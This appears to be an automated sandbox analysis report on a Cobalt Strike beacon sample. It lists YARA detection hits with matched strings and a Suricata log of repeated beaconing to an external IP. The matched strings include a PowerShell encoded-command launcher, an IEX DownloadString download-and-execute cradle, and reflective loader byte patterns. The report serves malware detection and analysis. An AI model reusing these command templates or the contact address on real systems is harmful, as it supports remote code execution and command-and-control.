0.2.yZah650lHL.exe.660000.2.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3329c:$x2: %d is an x64 process (can't inject x86 content) 0x335ed:$x3: Failed to impersonate logged on user %d (%u) 0x334fc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x334b2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32c0f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x33203:$s4: could not write to process memory: %d 0x329a3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s6: Could not connect to pipe (%s): %d
0.2.yZah650lHL.exe.660000.2.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x33970:$str1: %s (admin) 0x32960:$str2: beacon.dll
0.2.yZah650lHL.exe.660000.2.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x334fc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x2: %d is an x86 process (can't inject x64 content) 0x334b2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33596:$x4: Failed to impersonate token from %d (%u) 0x335ed:$x5: Failed to impersonate logged on user %d (%u) 0x329a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.yZah650lHL.exe.660000.2.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3348a:$s1: %%IMPORT%% 0x32987:$s2: www6.%x%x.%s 0x3297b:$s3: cdn.%x%x.%s 0x32c03:$s4: api.%x%x.%s 0x33970:$s5: %s (admin) 0x32c72:$s6: could not spawn %s: %d 0x3352e:$s7: Could not kill %d: %d 0x32d47:$s8: Could not connect to pipe (%s): %d 0x32994:$s9: %s.1%x.%x%x.%s 0x329a3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a7e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32ac4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x32b38:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b61:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b86:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x32ba7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x32bc4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x32bdd:$s9: %s.1%08x%08x.%x%x.%s 0x32bf2:$s9: %s.1%08x.%x%x.%s
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30fa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31780:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31ab2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31a44:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31ab2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3107e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x310c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31afc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x3136a:$a11: Could not open service control manager on %s: %d 0x3189c:$a12: %d is an x64 process (can't inject x86 content) 0x318cc:$a13: %d is an x86 process (can't inject x64 content) 0x31bed:$a14: Failed to impersonate logged on user %d (%u) 0x31855:$a15: could not create remote thread in %d: %d 0x31138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31803:$a17: could not write to process memory: %d 0x3139b:$a18: Could not create service %s on %s: %d 0x31424:$a19: Could not delete service %s on %s: %d 0x31289:$a20: Could not open process token: %d (%u)
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1cd3c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31ab2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31afc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x3: %d is an x86 process (can't inject x64 content) 0x31289:$s1: Could not open process token: %d (%u) 0x30fa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s4: Could not connect to pipe (%s): %d
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x401f1:$loader_export: ReflectiveLoader 0x30f60:$exportname: beacon.dll
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3189c:$x2: %d is an x64 process (can't inject x86 content) 0x31bed:$x3: Failed to impersonate logged on user %d (%u) 0x31afc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31ab2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3120f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31803:$s4: could not write to process memory: %d 0x30fa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s6: Could not connect to pipe (%s): %d
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31f70:$str1: %s (admin) 0x30f60:$str2: beacon.dll
0.2.yZah650lHL.exe.1a0000.0.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31afc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x2: %d is an x86 process (can't inject x64 content) 0x31ab2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31b96:$x4: Failed to impersonate token from %d (%u) 0x31bed:$x5: Failed to impersonate logged on user %d (%u) 0x30fa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
0.2.yZah650lHL.exe.1a0000.0.raw.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x31a8a:$s1: %%IMPORT%% 0x30f87:$s2: www6.%x%x.%s 0x30f7b:$s3: cdn.%x%x.%s 0x31203:$s4: api.%x%x.%s 0x31f70:$s5: %s (admin) 0x31272:$s6: could not spawn %s: %d 0x31b2e:$s7: Could not kill %d: %d 0x31347:$s8: Could not connect to pipe (%s): %d 0x30f94:$s9: %s.1%x.%x%x.%s 0x30fa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3107e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x310c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x311a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x311c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x311dd:$s9: %s.1%08x%08x.%x%x.%s 0x311f2:$s9: %s.1%08x.%x%x.%s
0.2.yZah650lHL.exe.1a0000.0.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x303a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3041b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3047e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x304c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30502:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x30538:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x30160:$a39: %s as %s\%s: %d 0x30394:$a40: %s.1%x.%x%x.%s 0x3e7e2:$a41: beacon.x64.dll 0x30387:$a43: www6.%x%x.%s 0x3037b:$a44: cdn.%x%x.%s 0x30360:$a47: beacon.dll 0x302d8:$a48: %s%s: %s 0x3036f:$a49: @%d.%s 0x3018c:$a50: %02d/%02d/%02d %02d:%02d:%02d 0x301b8:$a50: %02d/%02d/%02d %02d:%02d:%02d
0.2.yZah650lHL.exe.1a0000.0.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1c13c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.yZah650lHL.exe.1a0000.0.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x17d6a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1909b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.yZah650lHL.exe.1a0000.0.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3e7f1:$loader_export: ReflectiveLoader 0x30360:$exportname: beacon.dll
0.2.yZah650lHL.exe.1a0000.0.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x303a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.yZah650lHL.exe.660000.2.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.660000.2.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.660000.2.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30fa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31780:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31ab2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31a44:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31ab2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3107e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x310c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31afc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x3136a:$a11: Could not open service control manager on %s: %d 0x3189c:$a12: %d is an x64 process (can't inject x86 content) 0x318cc:$a13: %d is an x86 process (can't inject x64 content) 0x31bed:$a14: Failed to impersonate logged on user %d (%u) 0x31855:$a15: could not create remote thread in %d: %d 0x31138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31803:$a17: could not write to process memory: %d 0x3139b:$a18: Could not create service %s on %s: %d 0x31424:$a19: Could not delete service %s on %s: %d 0x31289:$a20: Could not open process token: %d (%u)
0.2.yZah650lHL.exe.660000.2.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1cd3c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.yZah650lHL.exe.660000.2.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.yZah650lHL.exe.660000.2.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31ab2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31afc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x3: %d is an x86 process (can't inject x64 content) 0x31289:$s1: Could not open process token: %d (%u) 0x30fa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s4: Could not connect to pipe (%s): %d
0.2.yZah650lHL.exe.660000.2.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x401f1:$loader_export: ReflectiveLoader 0x30f60:$exportname: beacon.dll
0.2.yZah650lHL.exe.660000.2.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3189c:$x2: %d is an x64 process (can't inject x86 content) 0x31bed:$x3: Failed to impersonate logged on user %d (%u) 0x31afc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31ab2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3120f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31803:$s4: could not write to process memory: %d 0x30fa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s6: Could not connect to pipe (%s): %d
0.2.yZah650lHL.exe.660000.2.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31f70:$str1: %s (admin) 0x30f60:$str2: beacon.dll
0.2.yZah650lHL.exe.660000.2.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31afc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x2: %d is an x86 process (can't inject x64 content) 0x31ab2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31b96:$x4: Failed to impersonate token from %d (%u) 0x31bed:$x5: Failed to impersonate logged on user %d (%u) 0x30fa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.yZah650lHL.exe.660000.2.unpack	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
0.2.yZah650lHL.exe.660000.2.unpack	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x31a8a:$s1: %%IMPORT%% 0x30f87:$s2: www6.%x%x.%s 0x30f7b:$s3: cdn.%x%x.%s 0x31203:$s4: api.%x%x.%s 0x31f70:$s5: %s (admin) 0x31272:$s6: could not spawn %s: %d 0x31b2e:$s7: Could not kill %d: %d 0x31347:$s8: Could not connect to pipe (%s): %d 0x30f94:$s9: %s.1%x.%x%x.%s 0x30fa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3107e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x310c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x311a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x311c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x311dd:$s9: %s.1%08x%08x.%x%x.%s 0x311f2:$s9: %s.1%08x.%x%x.%s
Click to see the 40 entries

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-03T02:51:56.875620+0100	2028765	3	Unknown Traffic	192.168.2.4	49730	42.192.3.170	443	TCP
2025-01-03T02:51:58.765791+0100	2028765	3	Unknown Traffic	192.168.2.4	49731	42.192.3.170	443	TCP
2025-01-03T02:52:00.609740+0100	2028765	3	Unknown Traffic	192.168.2.4	49732	42.192.3.170	443	TCP
2025-01-03T02:52:02.459943+0100	2028765	3	Unknown Traffic	192.168.2.4	49733	42.192.3.170	443	TCP
2025-01-03T02:52:04.479805+0100	2028765	3	Unknown Traffic	192.168.2.4	49734	42.192.3.170	443	TCP
2025-01-03T02:52:06.304212+0100	2028765	3	Unknown Traffic	192.168.2.4	49735	42.192.3.170	443	TCP
2025-01-03T02:52:08.143921+0100	2028765	3	Unknown Traffic	192.168.2.4	49736	42.192.3.170	443	TCP
2025-01-03T02:52:10.004886+0100	2028765	3	Unknown Traffic	192.168.2.4	49737	42.192.3.170	443	TCP
2025-01-03T02:52:11.906367+0100	2028765	3	Unknown Traffic	192.168.2.4	49738	42.192.3.170	443	TCP
2025-01-03T02:52:13.800790+0100	2028765	3	Unknown Traffic	192.168.2.4	49740	42.192.3.170	443	TCP
2025-01-03T02:52:15.681023+0100	2028765	3	Unknown Traffic	192.168.2.4	49745	42.192.3.170	443	TCP
2025-01-03T02:52:17.533678+0100	2028765	3	Unknown Traffic	192.168.2.4	49747	42.192.3.170	443	TCP
2025-01-03T02:52:19.377034+0100	2028765	3	Unknown Traffic	192.168.2.4	49748	42.192.3.170	443	TCP
2025-01-03T02:52:21.290288+0100	2028765	3	Unknown Traffic	192.168.2.4	49749	42.192.3.170	443	TCP
2025-01-03T02:52:23.132550+0100	2028765	3	Unknown Traffic	192.168.2.4	49750	42.192.3.170	443	TCP
2025-01-03T02:52:24.960448+0100	2028765	3	Unknown Traffic	192.168.2.4	49751	42.192.3.170	443	TCP
2025-01-03T02:52:26.934786+0100	2028765	3	Unknown Traffic	192.168.2.4	49752	42.192.3.170	443	TCP
2025-01-03T02:52:28.868789+0100	2028765	3	Unknown Traffic	192.168.2.4	49753	42.192.3.170	443	TCP
2025-01-03T02:52:30.748298+0100	2028765	3	Unknown Traffic	192.168.2.4	49754	42.192.3.170	443	TCP
2025-01-03T02:52:32.612508+0100	2028765	3	Unknown Traffic	192.168.2.4	49755	42.192.3.170	443	TCP
2025-01-03T02:52:34.487539+0100	2028765	3	Unknown Traffic	192.168.2.4	49756	42.192.3.170	443	TCP
2025-01-03T02:52:36.367609+0100	2028765	3	Unknown Traffic	192.168.2.4	49757	42.192.3.170	443	TCP
2025-01-03T02:52:38.608799+0100	2028765	3	Unknown Traffic	192.168.2.4	49758	42.192.3.170	443	TCP
2025-01-03T02:52:40.510999+0100	2028765	3	Unknown Traffic	192.168.2.4	49759	42.192.3.170	443	TCP
2025-01-03T02:52:42.342806+0100	2028765	3	Unknown Traffic	192.168.2.4	49760	42.192.3.170	443	TCP
2025-01-03T02:52:44.395427+0100	2028765	3	Unknown Traffic	192.168.2.4	49761	42.192.3.170	443	TCP
2025-01-03T02:52:46.273307+0100	2028765	3	Unknown Traffic	192.168.2.4	49762	42.192.3.170	443	TCP
2025-01-03T02:52:48.160470+0100	2028765	3	Unknown Traffic	192.168.2.4	49763	42.192.3.170	443	TCP
2025-01-03T02:52:50.022092+0100	2028765	3	Unknown Traffic	192.168.2.4	49764	42.192.3.170	443	TCP
2025-01-03T02:52:51.872722+0100	2028765	3	Unknown Traffic	192.168.2.4	49765	42.192.3.170	443	TCP
2025-01-03T02:52:53.768814+0100	2028765	3	Unknown Traffic	192.168.2.4	49767	42.192.3.170	443	TCP
2025-01-03T02:52:55.644673+0100	2028765	3	Unknown Traffic	192.168.2.4	49769	42.192.3.170	443	TCP
2025-01-03T02:52:57.491980+0100	2028765	3	Unknown Traffic	192.168.2.4	49780	42.192.3.170	443	TCP
2025-01-03T02:52:59.326849+0100	2028765	3	Unknown Traffic	192.168.2.4	49794	42.192.3.170	443	TCP
2025-01-03T02:53:01.193983+0100	2028765	3	Unknown Traffic	192.168.2.4	49807	42.192.3.170	443	TCP
2025-01-03T02:53:03.169984+0100	2028765	3	Unknown Traffic	192.168.2.4	49819	42.192.3.170	443	TCP
2025-01-03T02:53:05.089067+0100	2028765	3	Unknown Traffic	192.168.2.4	49832	42.192.3.170	443	TCP
2025-01-03T02:53:06.954602+0100	2028765	3	Unknown Traffic	192.168.2.4	49844	42.192.3.170	443	TCP
2025-01-03T02:53:08.831304+0100	2028765	3	Unknown Traffic	192.168.2.4	49856	42.192.3.170	443	TCP
2025-01-03T02:53:10.705986+0100	2028765	3	Unknown Traffic	192.168.2.4	49865	42.192.3.170	443	TCP
2025-01-03T02:53:12.605615+0100	2028765	3	Unknown Traffic	192.168.2.4	49879	42.192.3.170	443	TCP
2025-01-03T02:53:14.519078+0100	2028765	3	Unknown Traffic	192.168.2.4	49892	42.192.3.170	443	TCP
2025-01-03T02:53:16.352101+0100	2028765	3	Unknown Traffic	192.168.2.4	49905	42.192.3.170	443	TCP
2025-01-03T02:53:18.174364+0100	2028765	3	Unknown Traffic	192.168.2.4	49918	42.192.3.170	443	TCP
2025-01-03T02:53:20.055916+0100	2028765	3	Unknown Traffic	192.168.2.4	49930	42.192.3.170	443	TCP
2025-01-03T02:53:22.174601+0100	2028765	3	Unknown Traffic	192.168.2.4	49945	42.192.3.170	443	TCP
2025-01-03T02:53:24.032385+0100	2028765	3	Unknown Traffic	192.168.2.4	49957	42.192.3.170	443	TCP
2025-01-03T02:53:25.889720+0100	2028765	3	Unknown Traffic	192.168.2.4	49966	42.192.3.170	443	TCP
2025-01-03T02:53:27.910600+0100	2028765	3	Unknown Traffic	192.168.2.4	49982	42.192.3.170	443	TCP
2025-01-03T02:53:29.771374+0100	2028765	3	Unknown Traffic	192.168.2.4	49993	42.192.3.170	443	TCP
2025-01-03T02:53:31.654400+0100	2028765	3	Unknown Traffic	192.168.2.4	50005	42.192.3.170	443	TCP
2025-01-03T02:53:33.575904+0100	2028765	3	Unknown Traffic	192.168.2.4	50016	42.192.3.170	443	TCP
2025-01-03T02:53:35.459183+0100	2028765	3	Unknown Traffic	192.168.2.4	50030	42.192.3.170	443	TCP
2025-01-03T02:53:37.306900+0100	2028765	3	Unknown Traffic	192.168.2.4	50038	42.192.3.170	443	TCP
2025-01-03T02:53:39.119334+0100	2028765	3	Unknown Traffic	192.168.2.4	50052	42.192.3.170	443	TCP
2025-01-03T02:53:40.934854+0100	2028765	3	Unknown Traffic	192.168.2.4	50057	42.192.3.170	443	TCP
2025-01-03T02:53:42.786093+0100	2028765	3	Unknown Traffic	192.168.2.4	50058	42.192.3.170	443	TCP
2025-01-03T02:53:44.637615+0100	2028765	3	Unknown Traffic	192.168.2.4	50059	42.192.3.170	443	TCP
2025-01-03T02:53:46.485393+0100	2028765	3	Unknown Traffic	192.168.2.4	50060	42.192.3.170	443	TCP
2025-01-03T02:53:48.508834+0100	2028765	3	Unknown Traffic	192.168.2.4	50061	42.192.3.170	443	TCP
2025-01-03T02:53:50.361140+0100	2028765	3	Unknown Traffic	192.168.2.4	50062	42.192.3.170	443	TCP
2025-01-03T02:53:54.865123+0100	2028765	3	Unknown Traffic	192.168.2.4	50063	42.192.3.170	443	TCP
2025-01-03T02:53:56.243839+0100	2028765	3	Unknown Traffic	192.168.2.4	50064	42.192.3.170	443	TCP
2025-01-03T02:53:58.090992+0100	2028765	3	Unknown Traffic	192.168.2.4	50065	42.192.3.170	443	TCP
2025-01-03T02:53:59.955837+0100	2028765	3	Unknown Traffic	192.168.2.4	50066	42.192.3.170	443	TCP
2025-01-03T02:54:01.841278+0100	2028765	3	Unknown Traffic	192.168.2.4	50067	42.192.3.170	443	TCP
2025-01-03T02:54:03.669405+0100	2028765	3	Unknown Traffic	192.168.2.4	50068	42.192.3.170	443	TCP
